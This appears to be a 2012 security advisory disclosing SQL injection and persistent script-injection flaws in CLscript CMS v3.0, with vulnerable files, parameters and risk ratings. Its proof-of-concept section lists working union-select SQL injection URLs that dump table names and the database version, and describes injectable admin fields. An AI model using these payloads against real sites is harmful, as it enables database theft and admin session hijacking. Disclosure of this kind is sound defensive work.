244 lines
No EOL
7.8 KiB
Text
244 lines
No EOL
7.8 KiB
Text
Title:
|
||
======
|
||
CLscript CMS v3.0 - Multiple Web Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2012-05-16
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=574
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
574
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
8.6
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
With the professionally developed Classified-Portal CLscript 3.0 can Visitors post Classifieds and
|
||
use many new Features. The Classifieds Software is search Engine friendly to gain better Promotion
|
||
Aspects at search Engines. The whole Structure is manageable through easy to use AdminPanel.
|
||
In developing the Classified Software, we have geared ourselves to the most successful
|
||
Classifieds-Sites on the Internet. You can generate real Income from your Classifieds Website.
|
||
|
||
Manage Categories
|
||
Change Category Icons
|
||
Manage Sub Categories
|
||
Manage Members
|
||
Manage Social Network Ads:
|
||
Facebook, Twitter etc.
|
||
Manage FAQ
|
||
Manage Forum
|
||
Manage Featured Classifieds
|
||
Manage Classifieds Enquiry
|
||
Spam Protection Management
|
||
Manage Banner Requests
|
||
Place Banner (Google-Adsense)
|
||
under Categories at various Places.
|
||
Manage Feedback
|
||
Manage Newsletter
|
||
Manage SEO
|
||
RSS Feeds
|
||
|
||
(Copy of the vendor Homepage: http://www.clscript.com )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered multiple critical web vulnerabilities in the CLscript v3.0 Content Management System.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2012-05-16: Public or Non-Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
CLscript COM
|
||
Product: CLscript Classified Software v3.0
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
Critical
|
||
|
||
|
||
Details:
|
||
========
|
||
1.1
|
||
Multiple SQL Injection vulnerabilities are detected in the CLscript v3.0 Content Management System.
|
||
The vulnerability allows an attacker (remote) to inject/execute own sql commands on the affected
|
||
application dbms. The vulnerabilities are located in the userDetail.php, advertise_detail.php or
|
||
land.php files with the bound vulnerable pid, rid and id parameters. Successful exploitation of the
|
||
vulnerability results in dbms, service & application compromise.
|
||
|
||
Vulnerable File(s):
|
||
[+] userDetail.php
|
||
[+] advertise_detail.php
|
||
[+] land.php
|
||
|
||
Vulnerable Module(s):
|
||
[+] land
|
||
[+] pageDetail
|
||
[+] enquiry_detail
|
||
[+] userDetail
|
||
[+] advertise_detail
|
||
[+] config_id
|
||
|
||
Vulnerable Module(s):
|
||
[+] rID
|
||
[+] ID
|
||
[+] pID
|
||
[+] faq_id
|
||
[+] sp_id
|
||
[+] config_id
|
||
|
||
1.2
|
||
Multiple persistent input validation vulnerabilities are detected in the CLscript v3.0 Content Management System.
|
||
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
|
||
The input validation vulnerabilities are located in the topic, new word, subcategories, add a new help, add currency
|
||
or add new FAQs modules. Remote attackers can inject script code to the vulnerable modules by injecting malicious
|
||
tags as titles, descriptions, word names, category names, currency code or as questions. Successful exploitation
|
||
of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation.
|
||
Exploitation requires low user inter action & privileged user account.
|
||
|
||
Vulnerable Module(s):
|
||
[+] Topic
|
||
[+] New word
|
||
[+] Subcategory
|
||
[+] Add a new help
|
||
[+] Add currency (Symbol - Currency code)
|
||
[+] Add new FAQ (Question)
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] (title - description)
|
||
[+] (word name)
|
||
[+] (category name)
|
||
[+] (name)
|
||
[+] (symbol - currency code)
|
||
[+] (question)
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
The sql injection vulnerabilities can be exploited by remote attackers without privileged user accounts or user inter action.
|
||
For demonstration or reproduce ...
|
||
|
||
PoC:
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=edit_config&config_id=1'+order+by+1--%20-[SQL-INJECTION!]
|
||
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=edit_config&config_id=-1'+union+select+1,
|
||
group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()--%20-[SQL-INJECTION!]
|
||
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/pageDetail.php?pid=-1'+union+select+1,version(),3,4,5,6,7--%20-[SQL-INJECTION!]
|
||
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=edit_diycontent&pid=5'[SQL-INJECTION!]
|
||
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/enquiry_detail.php?rID=-20'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--%20-[SQL-INJECTION!]
|
||
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=add_edit_spam_words&sp_id=45'[SQL-INJECTION!]
|
||
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=catalog&parentId=608[SQL-INJECTION!]
|
||
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/userDetail.php?id=487[SQL-INJECTION!]
|
||
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/advertise_detail.php?id=77[SQL-INJECTION!]
|
||
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=edit_faq&faq_id=24[SQL-INJECTION!]
|
||
|
||
|
||
|
||
|
||
1.2
|
||
The persistent input validation vulnerabilities can be exploited by remote attackers with local low privileged user accounts and
|
||
with low required user inter action. For demonstration or reproduce ...
|
||
|
||
PoC:
|
||
|
||
1) http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_forum
|
||
create topic (title - description is injectable)
|
||
|
||
2)
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_spam_words -
|
||
add a new word (word is injectable)
|
||
|
||
3)
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=catalog&parentId=608 -
|
||
add subcategory (category name is injectable)
|
||
|
||
4)
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_help -
|
||
add a new help
|
||
|
||
5)
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_currencie
|
||
Add currency (Symbol - Currency code is injectable)
|
||
|
||
6)
|
||
http://n1.127.0.0.1:1338/[INTERFACE]/land.php?file=manage_faq
|
||
add new FAQ (Question is injectable)
|
||
|
||
|
||
Risk:
|
||
=====
|
||
1.1
|
||
The security risk of the sql injection vulnerabilities are estimated as critical.
|
||
|
||
1.2
|
||
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed [the storm] (storm@vulnerability-lab.com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com
|
||
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
||
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2012 Vulnerability-Lab
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY RESEARCH LABORATORY TEAM
|
||
Website: www.vulnerability-lab.com
|
||
Mail: research@vulnerability-lab.com |